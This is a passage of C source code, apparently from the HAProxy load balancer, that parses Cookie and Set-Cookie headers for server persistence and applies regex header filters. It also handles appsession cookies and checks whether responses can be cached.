* Cookie: NAME1 = VALUE 1 ; NAME2 = VALUE2 ; NAME3 = VALUE3\r\n
* | | | | | | | | |
* | | | | | | | | hdr_end <--+
* | | | | | | | +--> next
* | | | | | | +----> val_end
* | | | | | +-----------> val_beg
* | | | | +--------------> equal
* | | | +----------------> att_end
* | | +---------------------> att_beg
* | +--------------------------> prev
* +--------------------------------> hdr_beg
*/
for (prev = hdr_beg + 6; prev < hdr_end; prev = next) {
/* Iterate through all cookies on this line */
/* find att_beg */
att_beg = prev + 1;
while (att_beg < hdr_end && http_is_spht[(unsigned char)*att_beg])
att_beg++;
/* find att_end : this is the first character after the last non
* space before the equal. It may be equal to hdr_end.
*/
equal = att_end = att_beg;
while (equal < hdr_end) {
if (*equal == '=' || *equal == ',' || *equal == ';')
break;
if (http_is_spht[(unsigned char)*equal++])
continue;
att_end = equal;
}
/* here, <equal> points to '=', a delimitor or the end. <att_end>
* is between <att_beg> and <equal>, both may be identical.
*/
/* look for end of cookie if there is an equal sign */
if (equal < hdr_end && *equal == '=') {
/* look for the beginning of the value */
val_beg = equal + 1;
while (val_beg < hdr_end && http_is_spht[(unsigned char)*val_beg])
val_beg++;
/* find the end of the value, respecting quotes */
next = find_cookie_value_end(val_beg, hdr_end);
/* make val_end point to the first white space or delimitor after the value */
val_end = next;
while (val_end > val_beg && http_is_spht[(unsigned char)*(val_end - 1)])
val_end--;
} else {
val_beg = val_end = next = equal;
}
/* We have nothing to do with attributes beginning with '$'. However,
* they will automatically be removed if a header before them is removed,
* since they're supposed to be linked together.
*/
if (*att_beg == '$')
continue;
/* Ignore cookies with no equal sign */
if (equal == next) {
/* This is not our cookie, so we must preserve it. But if we already
* scheduled another cookie for removal, we cannot remove the
* complete header, but we can remove the previous block itself.
*/
preserve_hdr = 1;
if (del_from != NULL) {
int delta = del_hdr_value(req->buf, &del_from, prev);
val_end += delta;
next += delta;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->req, delta);
prev = del_from;
del_from = NULL;
}
continue;
}
/* if there are spaces around the equal sign, we need to
* strip them otherwise we'll get trouble for cookie captures,
* or even for rewrites. Since this happens extremely rarely,
* it does not hurt performance.
*/
if (unlikely(att_end != equal || val_beg > equal + 1)) {
int stripped_before = 0;
int stripped_after = 0;
if (att_end != equal) {
stripped_before = buffer_replace2(req->buf, att_end, equal, NULL, 0);
equal += stripped_before;
val_beg += stripped_before;
}
if (val_beg > equal + 1) {
stripped_after = buffer_replace2(req->buf, equal + 1, val_beg, NULL, 0);
val_beg += stripped_after;
stripped_before += stripped_after;
}
val_end += stripped_before;
next += stripped_before;
hdr_end += stripped_before;
hdr_next += stripped_before;
cur_hdr->len += stripped_before;
http_msg_move_end(&txn->req, stripped_before);
}
/* now everything is as on the diagram above */
/* First, let's see if we want to capture this cookie. We check
* that we don't already have a client side cookie, because we
* can only capture one. Also as an optimisation, we ignore
* cookies shorter than the declared name.
*/
if (s->fe->capture_name != NULL && txn->cli_cookie == NULL &&
(val_end - att_beg >= s->fe->capture_namelen) &&
memcmp(att_beg, s->fe->capture_name, s->fe->capture_namelen) == 0) {
int log_len = val_end - att_beg;
if ((txn->cli_cookie = pool_alloc2(pool2_capture)) == NULL) {
Alert("HTTP logging : out of memory.\n");
} else {
if (log_len > s->fe->capture_len)
log_len = s->fe->capture_len;
memcpy(txn->cli_cookie, att_beg, log_len);
txn->cli_cookie[log_len] = 0;
}
}
/* Persistence cookies in passive, rewrite or insert mode have the
* following form :
*
* Cookie: NAME=SRV[|<lastseen>[|<firstseen>]]
*
* For cookies in prefix mode, the form is :
*
* Cookie: NAME=SRV~VALUE
*/
if ((att_end - att_beg == s->be->cookie_len) && (s->be->cookie_name != NULL) &&
(memcmp(att_beg, s->be->cookie_name, att_end - att_beg) == 0)) {
struct server *srv = s->be->srv;
char *delim;
/* if we're in cookie prefix mode, we'll search the delimitor so that we
* have the server ID between val_beg and delim, and the original cookie between
* delim+1 and val_end. Otherwise, delim==val_end :
*
* Cookie: NAME=SRV; # in all but prefix modes
* Cookie: NAME=SRV~OPAQUE ; # in prefix mode
* | || || | |+-> next
* | || || | +--> val_end
* | || || +---------> delim
* | || |+------------> val_beg
* | || +-------------> att_end = equal
* | |+-----------------> att_beg
* | +------------------> prev
* +-------------------------> hdr_beg
*/
if (s->be->ck_opts & PR_CK_PFX) {
for (delim = val_beg; delim < val_end; delim++)
if (*delim == COOKIE_DELIM)
break;
} else {
char *vbar1;
delim = val_end;
/* Now check if the cookie contains a date field, which would
* appear after a vertical bar ('|') just after the server name
* and before the delimiter.
*/
vbar1 = memchr(val_beg, COOKIE_DELIM_DATE, val_end - val_beg);
if (vbar1) {
/* OK, so left of the bar is the server's cookie and
* right is the last seen date. It is a base64 encoded
* 30-bit value representing the UNIX date since the
* epoch in 4-second quantities.
*/
int val;
delim = vbar1++;
if (val_end - vbar1 >= 5) {
val = b64tos30(vbar1);
if (val > 0)
txn->cookie_last_date = val << 2;
}
/* look for a second vertical bar */
vbar1 = memchr(vbar1, COOKIE_DELIM_DATE, val_end - vbar1);
if (vbar1 && (val_end - vbar1 > 5)) {
val = b64tos30(vbar1 + 1);
if (val > 0)
txn->cookie_first_date = val << 2;
}
}
}
/* if the cookie has an expiration date and the proxy wants to check
* it, then we do that now. We first check if the cookie is too old,
* then only if it has expired. We detect strict overflow because the
* time resolution here is not great (4 seconds). Cookies with dates
* in the future are ignored if their offset is beyond one day. This
* allows an admin to fix timezone issues without expiring everyone
* and at the same time avoids keeping unwanted side effects for too
* long.
*/
if (txn->cookie_first_date && s->be->cookie_maxlife &&
(((signed)(date.tv_sec - txn->cookie_first_date) > (signed)s->be->cookie_maxlife) ||
((signed)(txn->cookie_first_date - date.tv_sec) > 86400))) {
txn->flags &= ~TX_CK_MASK;
txn->flags |= TX_CK_OLD;
delim = val_beg; // let's pretend we have not found the cookie
txn->cookie_first_date = 0;
txn->cookie_last_date = 0;
}
else if (txn->cookie_last_date && s->be->cookie_maxidle &&
(((signed)(date.tv_sec - txn->cookie_last_date) > (signed)s->be->cookie_maxidle) ||
((signed)(txn->cookie_last_date - date.tv_sec) > 86400))) {
txn->flags &= ~TX_CK_MASK;
txn->flags |= TX_CK_EXPIRED;
delim = val_beg; // let's pretend we have not found the cookie
txn->cookie_first_date = 0;
txn->cookie_last_date = 0;
}
/* Here, we'll look for the first running server which supports the cookie.
* This allows to share a same cookie between several servers, for example
* to dedicate backup servers to specific servers only.
* However, to prevent clients from sticking to cookie-less backup server
* when they have incidentely learned an empty cookie, we simply ignore
* empty cookies and mark them as invalid.
* The same behaviour is applied when persistence must be ignored.
*/
if ((delim == val_beg) || (s->flags & (SN_IGNORE_PRST | SN_ASSIGNED)))
srv = NULL;
while (srv) {
if (srv->cookie && (srv->cklen == delim - val_beg) &&
!memcmp(val_beg, srv->cookie, delim - val_beg)) {
if ((srv->state != SRV_ST_STOPPED) ||
(s->be->options & PR_O_PERSIST) ||
(s->flags & SN_FORCE_PRST)) {
/* we found the server and we can use it */
txn->flags &= ~TX_CK_MASK;
txn->flags |= (srv->state != SRV_ST_STOPPED) ? TX_CK_VALID : TX_CK_DOWN;
s->flags |= SN_DIRECT | SN_ASSIGNED;
s->target = &srv->obj_type;
break;
} else {
/* we found a server, but it's down,
* mark it as such and go on in case
* another one is available.
*/
txn->flags &= ~TX_CK_MASK;
txn->flags |= TX_CK_DOWN;
}
}
srv = srv->next;
}
if (!srv && !(txn->flags & (TX_CK_DOWN|TX_CK_EXPIRED|TX_CK_OLD))) {
/* no server matched this cookie or we deliberately skipped it */
txn->flags &= ~TX_CK_MASK;
if ((s->flags & (SN_IGNORE_PRST | SN_ASSIGNED)))
txn->flags |= TX_CK_UNUSED;
else
txn->flags |= TX_CK_INVALID;
}
/* depending on the cookie mode, we may have to either :
* - delete the complete cookie if we're in insert+indirect mode, so that
* the server never sees it ;
* - remove the server id from the cookie value, and tag the cookie as an
* application cookie so that it does not get accidentely removed later,
* if we're in cookie prefix mode
*/
if ((s->be->ck_opts & PR_CK_PFX) && (delim != val_end)) {
int delta; /* negative */
delta = buffer_replace2(req->buf, val_beg, delim + 1, NULL, 0);
val_end += delta;
next += delta;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->req, delta);
del_from = NULL;
preserve_hdr = 1; /* we want to keep this cookie */
}
else if (del_from == NULL &&
(s->be->ck_opts & (PR_CK_INS | PR_CK_IND)) == (PR_CK_INS | PR_CK_IND)) {
del_from = prev;
}
} else {
/* This is not our cookie, so we must preserve it. But if we already
* scheduled another cookie for removal, we cannot remove the
* complete header, but we can remove the previous block itself.
*/
preserve_hdr = 1;
if (del_from != NULL) {
int delta = del_hdr_value(req->buf, &del_from, prev);
if (att_beg >= del_from)
att_beg += delta;
if (att_end >= del_from)
att_end += delta;
val_beg += delta;
val_end += delta;
next += delta;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->req, delta);
prev = del_from;
del_from = NULL;
}
}
/* Look for the appsession cookie unless persistence must be ignored */
if (!(s->flags & SN_IGNORE_PRST) && (s->be->appsession_name != NULL)) {
int cmp_len, value_len;
char *value_begin;
if (s->be->options2 & PR_O2_AS_PFX) {
cmp_len = MIN(val_end - att_beg, s->be->appsession_name_len);
value_begin = att_beg + s->be->appsession_name_len;
value_len = val_end - att_beg - s->be->appsession_name_len;
} else {
cmp_len = att_end - att_beg;
value_begin = val_beg;
value_len = val_end - val_beg;
}
/* let's see if the cookie is our appcookie */
if (cmp_len == s->be->appsession_name_len &&
memcmp(att_beg, s->be->appsession_name, cmp_len) == 0) {
manage_client_side_appsession(s, value_begin, value_len);
}
}
/* continue with next cookie on this header line */
att_beg = next;
} /* for each cookie */
/* There are no more cookies on this line.
* We may still have one (or several) marked for deletion at the
* end of the line. We must do this now in two ways :
* - if some cookies must be preserved, we only delete from the
* mark to the end of line ;
* - if nothing needs to be preserved, simply delete the whole header
*/
if (del_from) {
int delta;
if (preserve_hdr) {
delta = del_hdr_value(req->buf, &del_from, hdr_end);
hdr_end = del_from;
cur_hdr->len += delta;
} else {
delta = buffer_replace2(req->buf, hdr_beg, hdr_next, NULL, 0);
/* FIXME: this should be a separate function */
txn->hdr_idx.v[old_idx].next = cur_hdr->next;
txn->hdr_idx.used--;
cur_hdr->len = 0;
cur_idx = old_idx;
}
hdr_next += delta;
http_msg_move_end(&txn->req, delta);
}
/* check next header */
old_idx = cur_idx;
}
}
/* Iterate the same filter through all response headers contained in <rtr>.
* Returns 1 if this filter can be stopped upon return, otherwise 0.
*/
int apply_filter_to_resp_headers(struct session *s, struct channel *rtr, struct hdr_exp *exp)
{
char *cur_ptr, *cur_end, *cur_next;
int cur_idx, old_idx, last_hdr;
struct http_txn *txn = &s->txn;
struct hdr_idx_elem *cur_hdr;
int delta;
last_hdr = 0;
cur_next = rtr->buf->p + hdr_idx_first_pos(&txn->hdr_idx);
old_idx = 0;
while (!last_hdr) {
if (unlikely(txn->flags & TX_SVDENY))
return 1;
else if (unlikely(txn->flags & TX_SVALLOW) &&
(exp->action == ACT_ALLOW ||
exp->action == ACT_DENY))
return 0;
cur_idx = txn->hdr_idx.v[old_idx].next;
if (!cur_idx)
break;
cur_hdr = &txn->hdr_idx.v[cur_idx];
cur_ptr = cur_next;
cur_end = cur_ptr + cur_hdr->len;
cur_next = cur_end + cur_hdr->cr + 1;
/* Now we have one header between cur_ptr and cur_end,
* and the next header starts at cur_next.
*/
if (regex_exec_match2(exp->preg, cur_ptr, cur_end-cur_ptr, MAX_MATCH, pmatch)) {
switch (exp->action) {
case ACT_ALLOW:
txn->flags |= TX_SVALLOW;
last_hdr = 1;
break;
case ACT_DENY:
txn->flags |= TX_SVDENY;
last_hdr = 1;
break;
case ACT_REPLACE:
trash.len = exp_replace(trash.str, trash.size, cur_ptr, exp->replace, pmatch);
if (trash.len < 0)
return -1;
delta = buffer_replace2(rtr->buf, cur_ptr, cur_end, trash.str, trash.len);
/* FIXME: if the user adds a newline in the replacement, the
* index will not be recalculated for now, and the new line
* will not be counted as a new header.
*/
cur_end += delta;
cur_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->rsp, delta);
break;
case ACT_REMOVE:
delta = buffer_replace2(rtr->buf, cur_ptr, cur_next, NULL, 0);
cur_next += delta;
http_msg_move_end(&txn->rsp, delta);
txn->hdr_idx.v[old_idx].next = cur_hdr->next;
txn->hdr_idx.used--;
cur_hdr->len = 0;
cur_end = NULL; /* null-term has been rewritten */
cur_idx = old_idx;
break;
}
}
/* keep the link from this header to next one in case of later
* removal of next header.
*/
old_idx = cur_idx;
}
return 0;
}
/* Apply the filter to the status line in the response buffer <rtr>.
* Returns 0 if nothing has been done, 1 if the filter has been applied,
* or -1 if a replacement resulted in an invalid status line.
*/
int apply_filter_to_sts_line(struct session *s, struct channel *rtr, struct hdr_exp *exp)
{
char *cur_ptr, *cur_end;
int done;
struct http_txn *txn = &s->txn;
int delta;
if (unlikely(txn->flags & TX_SVDENY))
return 1;
else if (unlikely(txn->flags & TX_SVALLOW) &&
(exp->action == ACT_ALLOW ||
exp->action == ACT_DENY))
return 0;
else if (exp->action == ACT_REMOVE)
return 0;
done = 0;
cur_ptr = rtr->buf->p;
cur_end = cur_ptr + txn->rsp.sl.st.l;
/* Now we have the status line between cur_ptr and cur_end */
if (regex_exec_match2(exp->preg, cur_ptr, cur_end-cur_ptr, MAX_MATCH, pmatch)) {
switch (exp->action) {
case ACT_ALLOW:
txn->flags |= TX_SVALLOW;
done = 1;
break;
case ACT_DENY:
txn->flags |= TX_SVDENY;
done = 1;
break;
case ACT_REPLACE:
trash.len = exp_replace(trash.str, trash.size, cur_ptr, exp->replace, pmatch);
if (trash.len < 0)
return -1;
delta = buffer_replace2(rtr->buf, cur_ptr, cur_end, trash.str, trash.len);
/* FIXME: if the user adds a newline in the replacement, the
* index will not be recalculated for now, and the new line
* will not be counted as a new header.
*/
http_msg_move_end(&txn->rsp, delta);
cur_end += delta;
cur_end = (char *)http_parse_stsline(&txn->rsp,
HTTP_MSG_RPVER,
cur_ptr, cur_end + 1,
NULL, NULL);
if (unlikely(!cur_end))
return -1;
/* we have a full respnse and we know that we have either a CR
* or an LF at <ptr>.
*/
txn->status = strl2ui(rtr->buf->p + txn->rsp.sl.st.c, txn->rsp.sl.st.c_l);
hdr_idx_set_start(&txn->hdr_idx, txn->rsp.sl.st.l, *cur_end == '\r');
/* there is no point trying this regex on headers */
return 1;
}
}
return done;
}
/*
* Apply all the resp filters of proxy <px> to all headers in buffer <rtr> of session <s>.
* Returns 0 if everything is alright, or -1 in case a replacement lead to an
* unparsable response.
*/
int apply_filters_to_response(struct session *s, struct channel *rtr, struct proxy *px)
{
struct http_txn *txn = &s->txn;
struct hdr_exp *exp;
for (exp = px->rsp_exp; exp; exp = exp->next) {
int ret;
/*
* The interleaving of transformations and verdicts
* makes it difficult to decide to continue or stop
* the evaluation.
*/
if (txn->flags & TX_SVDENY)
break;
if ((txn->flags & TX_SVALLOW) &&
(exp->action == ACT_ALLOW || exp->action == ACT_DENY ||
exp->action == ACT_PASS)) {
exp = exp->next;
continue;
}
/* if this filter had a condition, evaluate it now and skip to
* next filter if the condition does not match.
*/
if (exp->cond) {
ret = acl_exec_cond(exp->cond, px, s, txn, SMP_OPT_DIR_RES|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (((struct acl_cond *)exp->cond)->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret)
continue;
}
/* Apply the filter to the status line. */
ret = apply_filter_to_sts_line(s, rtr, exp);
if (unlikely(ret < 0))
return -1;
if (likely(ret == 0)) {
/* The filter did not match the response, it can be
* iterated through all headers.
*/
if (unlikely(apply_filter_to_resp_headers(s, rtr, exp) < 0))
return -1;
}
}
return 0;
}
/*
* Manage server-side cookies. It can impact performance by about 2% so it is
* desirable to call it only when needed. This function is also used when we
* just need to know if there is a cookie (eg: for check-cache).
*/
void manage_server_side_cookies(struct session *s, struct channel *res)
{
struct http_txn *txn = &s->txn;
struct server *srv;
int is_cookie2;
int cur_idx, old_idx, delta;
char *hdr_beg, *hdr_end, *hdr_next;
char *prev, *att_beg, *att_end, *equal, *val_beg, *val_end, *next;
/* Iterate through the headers.
* we start with the start line.
*/
old_idx = 0;
hdr_next = res->buf->p + hdr_idx_first_pos(&txn->hdr_idx);
while ((cur_idx = txn->hdr_idx.v[old_idx].next)) {
struct hdr_idx_elem *cur_hdr;
int val;
cur_hdr = &txn->hdr_idx.v[cur_idx];
hdr_beg = hdr_next;
hdr_end = hdr_beg + cur_hdr->len;
hdr_next = hdr_end + cur_hdr->cr + 1;
/* We have one full header between hdr_beg and hdr_end, and the
* next header starts at hdr_next. We're only interested in
* "Set-Cookie" and "Set-Cookie2" headers.
*/
is_cookie2 = 0;
prev = hdr_beg + 10;
val = http_header_match2(hdr_beg, hdr_end, "Set-Cookie", 10);
if (!val) {
val = http_header_match2(hdr_beg, hdr_end, "Set-Cookie2", 11);
if (!val) {
old_idx = cur_idx;
continue;
}
is_cookie2 = 1;
prev = hdr_beg + 11;
}
/* OK, right now we know we have a Set-Cookie* at hdr_beg, and
* <prev> points to the colon.
*/
txn->flags |= TX_SCK_PRESENT;
/* Maybe we only wanted to see if there was a Set-Cookie (eg:
* check-cache is enabled) and we are not interested in checking
* them. Warning, the cookie capture is declared in the frontend.
*/
if (s->be->cookie_name == NULL &&
s->be->appsession_name == NULL &&
s->fe->capture_name == NULL)
return;
/* OK so now we know we have to process this response cookie.
* The format of the Set-Cookie header is slightly different
* from the format of the Cookie header in that it does not
* support the comma as a cookie delimiter (thus the header
* cannot be folded) because the Expires attribute described in
* the original Netscape's spec may contain an unquoted date
* with a comma inside. We have to live with this because
* many browsers don't support Max-Age and some browsers don't
* support quoted strings. However the Set-Cookie2 header is
* clean.
*
* We have to keep multiple pointers in order to support cookie
* removal at the beginning, middle or end of header without
* corrupting the header (in case of set-cookie2). A special
* pointer, <scav> points to the beginning of the set-cookie-av
* fields after the first semi-colon. The <next> pointer points
* either to the end of line (set-cookie) or next unquoted comma
* (set-cookie2). All of these headers are valid :
*
* Set-Cookie: NAME1 = VALUE 1 ; Secure; Path="/"\r\n
* Set-Cookie:NAME=VALUE; Secure; Expires=Thu, 01-Jan-1970 00:00:01 GMT\r\n
* Set-Cookie: NAME = VALUE ; Secure; Expires=Thu, 01-Jan-1970 00:00:01 GMT\r\n
* Set-Cookie2: NAME1 = VALUE 1 ; Max-Age=0, NAME2=VALUE2; Discard\r\n
* | | | | | | | | | |
* | | | | | | | | +-> next hdr_end <--+
* | | | | | | | +------------> scav
* | | | | | | +--------------> val_end
* | | | | | +--------------------> val_beg
* | | | | +----------------------> equal
* | | | +------------------------> att_end
* | | +----------------------------> att_beg
* | +------------------------------> prev
* +-----------------------------------------> hdr_beg
*/
for (; prev < hdr_end; prev = next) {
/* Iterate through all cookies on this line */
/* find att_beg */
att_beg = prev + 1;
while (att_beg < hdr_end && http_is_spht[(unsigned char)*att_beg])
att_beg++;
/* find att_end : this is the first character after the last non
* space before the equal. It may be equal to hdr_end.
*/
equal = att_end = att_beg;
while (equal < hdr_end) {
if (*equal == '=' || *equal == ';' || (is_cookie2 && *equal == ','))
break;
if (http_is_spht[(unsigned char)*equal++])
continue;
att_end = equal;
}
/* here, <equal> points to '=', a delimitor or the end. <att_end>
* is between <att_beg> and <equal>, both may be identical.
*/
/* look for end of cookie if there is an equal sign */
if (equal < hdr_end && *equal == '=') {
/* look for the beginning of the value */
val_beg = equal + 1;
while (val_beg < hdr_end && http_is_spht[(unsigned char)*val_beg])
val_beg++;
/* find the end of the value, respecting quotes */
next = find_cookie_value_end(val_beg, hdr_end);
/* make val_end point to the first white space or delimitor after the value */
val_end = next;
while (val_end > val_beg && http_is_spht[(unsigned char)*(val_end - 1)])
val_end--;
} else {
/* <equal> points to next comma, semi-colon or EOL */
val_beg = val_end = next = equal;
}
if (next < hdr_end) {
/* Set-Cookie2 supports multiple cookies, and <next> points to
* a colon or semi-colon before the end. So skip all attr-value
* pairs and look for the next comma. For Set-Cookie, since
* commas are permitted in values, skip to the end.
*/
if (is_cookie2)
next = find_hdr_value_end(next, hdr_end);
else
next = hdr_end;
}
/* Now everything is as on the diagram above */
/* Ignore cookies with no equal sign */
if (equal == val_end)
continue;
/* If there are spaces around the equal sign, we need to
* strip them otherwise we'll get trouble for cookie captures,
* or even for rewrites. Since this happens extremely rarely,
* it does not hurt performance.
*/
if (unlikely(att_end != equal || val_beg > equal + 1)) {
int stripped_before = 0;
int stripped_after = 0;
if (att_end != equal) {
stripped_before = buffer_replace2(res->buf, att_end, equal, NULL, 0);
equal += stripped_before;
val_beg += stripped_before;
}
if (val_beg > equal + 1) {
stripped_after = buffer_replace2(res->buf, equal + 1, val_beg, NULL, 0);
val_beg += stripped_after;
stripped_before += stripped_after;
}
val_end += stripped_before;
next += stripped_before;
hdr_end += stripped_before;
hdr_next += stripped_before;
cur_hdr->len += stripped_before;
http_msg_move_end(&txn->rsp, stripped_before);
}
/* First, let's see if we want to capture this cookie. We check
* that we don't already have a server side cookie, because we
* can only capture one. Also as an optimisation, we ignore
* cookies shorter than the declared name.
*/
if (s->fe->capture_name != NULL &&
txn->srv_cookie == NULL &&
(val_end - att_beg >= s->fe->capture_namelen) &&
memcmp(att_beg, s->fe->capture_name, s->fe->capture_namelen) == 0) {
int log_len = val_end - att_beg;
if ((txn->srv_cookie = pool_alloc2(pool2_capture)) == NULL) {
Alert("HTTP logging : out of memory.\n");
}
else {
if (log_len > s->fe->capture_len)
log_len = s->fe->capture_len;
memcpy(txn->srv_cookie, att_beg, log_len);
txn->srv_cookie[log_len] = 0;
}
}
srv = objt_server(s->target);
/* now check if we need to process it for persistence */
if (!(s->flags & SN_IGNORE_PRST) &&
(att_end - att_beg == s->be->cookie_len) && (s->be->cookie_name != NULL) &&
(memcmp(att_beg, s->be->cookie_name, att_end - att_beg) == 0)) {
/* assume passive cookie by default */
txn->flags &= ~TX_SCK_MASK;
txn->flags |= TX_SCK_FOUND;
/* If the cookie is in insert mode on a known server, we'll delete
* this occurrence because we'll insert another one later.
* We'll delete it too if the "indirect" option is set and we're in
* a direct access.
*/
if (s->be->ck_opts & PR_CK_PSV) {
/* The "preserve" flag was set, we don't want to touch the
* server's cookie.
*/
}
else if ((srv && (s->be->ck_opts & PR_CK_INS)) ||
((s->flags & SN_DIRECT) && (s->be->ck_opts & PR_CK_IND))) {
/* this cookie must be deleted */
if (*prev == ':' && next == hdr_end) {
/* whole header */
delta = buffer_replace2(res->buf, hdr_beg, hdr_next, NULL, 0);
txn->hdr_idx.v[old_idx].next = cur_hdr->next;
txn->hdr_idx.used--;
cur_hdr->len = 0;
cur_idx = old_idx;
hdr_next += delta;
http_msg_move_end(&txn->rsp, delta);
/* note: while both invalid now, <next> and <hdr_end>
* are still equal, so the for() will stop as expected.
*/
} else {
/* just remove the value */
int delta = del_hdr_value(res->buf, &prev, next);
next = prev;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->rsp, delta);
}
txn->flags &= ~TX_SCK_MASK;
txn->flags |= TX_SCK_DELETED;
/* and go on with next cookie */
}
else if (srv && srv->cookie && (s->be->ck_opts & PR_CK_RW)) {
/* replace bytes val_beg->val_end with the cookie name associated
* with this server since we know it.
*/
delta = buffer_replace2(res->buf, val_beg, val_end, srv->cookie, srv->cklen);
next += delta;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->rsp, delta);
txn->flags &= ~TX_SCK_MASK;
txn->flags |= TX_SCK_REPLACED;
}
else if (srv && srv->cookie && (s->be->ck_opts & PR_CK_PFX)) {
/* insert the cookie name associated with this server
* before existing cookie, and insert a delimiter between them..
*/
delta = buffer_replace2(res->buf, val_beg, val_beg, srv->cookie, srv->cklen + 1);
next += delta;
hdr_end += delta;
hdr_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->rsp, delta);
val_beg[srv->cklen] = COOKIE_DELIM;
txn->flags &= ~TX_SCK_MASK;
txn->flags |= TX_SCK_REPLACED;
}
}
/* next, let's see if the cookie is our appcookie, unless persistence must be ignored */
else if (!(s->flags & SN_IGNORE_PRST) && (s->be->appsession_name != NULL)) {
int cmp_len, value_len;
char *value_begin;
if (s->be->options2 & PR_O2_AS_PFX) {
cmp_len = MIN(val_end - att_beg, s->be->appsession_name_len);
value_begin = att_beg + s->be->appsession_name_len;
value_len = MIN(s->be->appsession_len, val_end - att_beg - s->be->appsession_name_len);
} else {
cmp_len = att_end - att_beg;
value_begin = val_beg;
value_len = MIN(s->be->appsession_len, val_end - val_beg);
}
if ((cmp_len == s->be->appsession_name_len) &&
(memcmp(att_beg, s->be->appsession_name, s->be->appsession_name_len) == 0)) {
/* free a possibly previously allocated memory */
pool_free2(apools.sessid, txn->sessid);
/* Store the sessid in the session for future use */
if ((txn->sessid = pool_alloc2(apools.sessid)) == NULL) {
Alert("Not enough Memory process_srv():asession->sessid:malloc().\n");
send_log(s->be, LOG_ALERT, "Not enough Memory process_srv():asession->sessid:malloc().\n");
return;
}
memcpy(txn->sessid, value_begin, value_len);
txn->sessid[value_len] = 0;
}
}
/* that's done for this cookie, check the next one on the same
* line when next != hdr_end (only if is_cookie2).
*/
}
/* check next header */
old_idx = cur_idx;
}
if (txn->sessid != NULL) {
appsess *asession = NULL;
/* only do insert, if lookup fails */
asession = appsession_hash_lookup(&(s->be->htbl_proxy), txn->sessid);
if (asession == NULL) {
size_t server_id_len;
if ((asession = pool_alloc2(pool2_appsess)) == NULL) {
Alert("Not enough Memory process_srv():asession:calloc().\n");
send_log(s->be, LOG_ALERT, "Not enough Memory process_srv():asession:calloc().\n");
return;
}
asession->serverid = NULL; /* to avoid a double free in case of allocation error */
if ((asession->sessid = pool_alloc2(apools.sessid)) == NULL) {
Alert("Not enough Memory process_srv():asession->sessid:malloc().\n");
send_log(s->be, LOG_ALERT, "Not enough Memory process_srv():asession->sessid:malloc().\n");
s->be->htbl_proxy.destroy(asession);
return;
}
memcpy(asession->sessid, txn->sessid, s->be->appsession_len);
asession->sessid[s->be->appsession_len] = 0;
server_id_len = strlen(objt_server(s->target)->id) + 1;
if ((asession->serverid = pool_alloc2(apools.serverid)) == NULL) {
Alert("Not enough Memory process_srv():asession->serverid:malloc().\n");
send_log(s->be, LOG_ALERT, "Not enough Memory process_srv():asession->sessid:malloc().\n");
s->be->htbl_proxy.destroy(asession);
return;
}
asession->serverid[0] = '\0';
memcpy(asession->serverid, objt_server(s->target)->id, server_id_len);
asession->request_count = 0;
appsession_hash_insert(&(s->be->htbl_proxy), asession);
}
asession->expire = tick_add_ifset(now_ms, s->be->timeout.appsession);
asession->request_count++;
}
}
/*
* Check if response is cacheable or not. Updates s->flags.
*/
void check_response_for_cacheability(struct session *s, struct channel *rtr)
{
struct http_txn *txn = &s->txn;
char *p1, *p2;
char *cur_ptr, *cur_end, *cur_next;
int cur_idx;
if (!(txn->flags & TX_CACHEABLE))
return;
/* Iterate through the headers.
* we start with the start line.
*/
cur_idx = 0;
cur_next = rtr->buf->p + hdr_idx_first_pos(&txn->hdr_idx);
while ((cur_idx = txn->hdr_idx.v[cur_idx].next)) {
struct hdr_idx_elem *cur_hdr;
int val;
cur_hdr = &txn->hdr_idx.v[cur_idx];
cur_ptr = cur_next;
cur_end = cur_ptr + cur_hdr->len;
cur_next = cur_end + cur_hdr->cr + 1;
/* We have one full header between cur_ptr and cur_end, and the
* next header starts at cur_next. We're only interested in
* "Cookie:" headers.
*/
val = http_header_match2(cur_ptr, cur_end, "Pragma", 6);
if (val) {
if ((cur_end - (cur_ptr + val) >= 8) &&
strncasecmp(cur_ptr + val, "no-cache", 8) == 0) {
txn->flags &= ~TX_CACHEABLE & ~TX_CACHE_COOK;
return;
}
}
val = http_header_match2(cur_ptr, cur_end, "Cache-control", 13);
if (!val)
continue;
/* OK, right now we know we have a cache-control header at cur_ptr */
p1 = cur_ptr + val; /* first non-space char after 'cache-control:' */
if (p1 >= cur_end) /* no more info */
continue;
/* p1 is at the beginning of the value */
p2 = p1;
while (p2 < cur_end && *p2 != '=' && *p2 != ',' && !isspace((unsigned char)*p2))
p2++;
/* we have a complete value between p1 and p2 */
if (p2 < cur_end && *p2 == '=') {
/* we have something of the form no-cache="set-cookie" */
if ((cur_end - p1 >= 21) &&
strncasecmp(p1, "no-cache=\"set-cookie", 20) == 0
&& (p1[20] == '"' || p1[20] == ','))
txn->flags &= ~TX_CACHE_COOK;
continue;
}
/* OK, so we know that either p2 points to the end of string or to a comma */
if (((p2 - p1 == 7) && strncasecmp(p1, "private", 7) == 0) ||
((p2 - p1 == 8) && strncasecmp(p1, "no-cache", 8) == 0) ||
((p2 - p1 == 8) && strncasecmp(p1, "no-store", 8) == 0) ||
((p2 - p1 == 9) && strncasecmp(p1, "max-age=0", 9) == 0) ||
((p2 - p1 == 10) && strncasecmp(p1, "s-maxage=0", 10) == 0)) {
txn->flags &= ~TX_CACHEABLE & ~TX_CACHE_COOK;
return;
}
if ((p2 - p1 == 6) && strncasecmp(p1, "public", 6) == 0) {
txn->flags |= TX_CACHEABLE | TX_CACHE_COOK;
continue;
}
}
}
/*
* Try to retrieve a known appsession in the URI, then the associated server.
* If the server is found, it's assigned to the session.
*/
void get_srv_from_appsession(struct session *s, const char *begin, int len)
{
char *end_params, *first_param, *cur_param, *next_param;
char separator;
int value_len;
int mode = s->be->options2 & PR_O2_AS_M_ANY;
if (s->be->appsession_name == NULL ||
(s->txn.meth != HTTP_METH_GET && s->txn.meth != HTTP_METH_POST && s->txn.meth != HTTP_METH_HEAD)) {
return;
}
first_param = NULL;
switch (mode) {
